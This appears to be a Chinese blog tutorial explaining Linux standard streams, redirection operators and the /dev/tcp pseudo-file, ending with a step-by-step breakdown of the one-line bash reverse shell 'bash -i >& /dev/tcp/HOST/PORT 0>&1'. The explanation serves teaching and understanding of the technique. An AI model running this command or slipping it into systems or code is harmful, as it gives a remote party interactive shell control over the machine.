带你读懂bash一句话反弹shell

需要知道的linux知识

标准输入、标准输出、标准错误

在linux中输入一条命令会打开三个文件:标准输入、标准输出、标准错误。
在任何时候这个进程希望读取东西的时候都会从它的标准输入进行读取,在任何时候这个进程有输出的时候都会写入到标准输出,在任何时候这个进程有错误信息的时候都会写入到标准错误。

重定向

一般情况下,标准输入都是键盘,标准输出和标准错误都是显示器。
所谓的重定向,就是修改标准输入、标准输出、标准错误的读取或写入的对象。
常用的重定向操作符号有以下几个:

命令 说明
command < file 将command命令的输入重定向到 file。
command > file 将command命令的输出重定向到 file。
command >> file 将command命令的输出以追加的方式重定向到 file。
command 2> file 将command命令的标准错误重定向到 file。
command 2>> file 将command命令的标准错误以追加的方式重定向到 file。
command &> file 将command命令的标准输出和标注错误都重定向到 file。
command >& file 同上,一个含义。
m >& n m标识的 标准输入 \ 标准输出 \ 标准错误 重定向为n标识的的标准输入 \ 标准输出 \ 标准错误的去处。m、n取值0、1、2,分别表示标准输入、标准输出、标准错误。

/dev/tcp/

linux中有一个特殊的文件,以任何方式打开/dev/tcp/HOST/PORT都将向HOST/PORT发送tcp连接请求,读取该文件则表示从socket取其中的内容,写该文件则表示向socket发送内容。

不论是读还是写,其实都是进行了打开操作之后的动作。

bash一句话反弹shell

bash一句话反弹shell的内容是:

bash -i >& /dev/tcp/HOST/PORT 0>&1

bash -i开启了一个交互式的shell。
然后使用>&将标准输出和标准错误重定向到/dev/tcp/HOST/PORT。
最后使用0>&1将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到/dev/tcp/HOST/PORT。
总结下来,就是执行了bash -i进程,该进程的标准输入、标准输出、标准错误都是/dev/tcp/HOST/PORT。
其效果就是所有的输入和输出都来自于网络的另一端。

你可能感兴趣的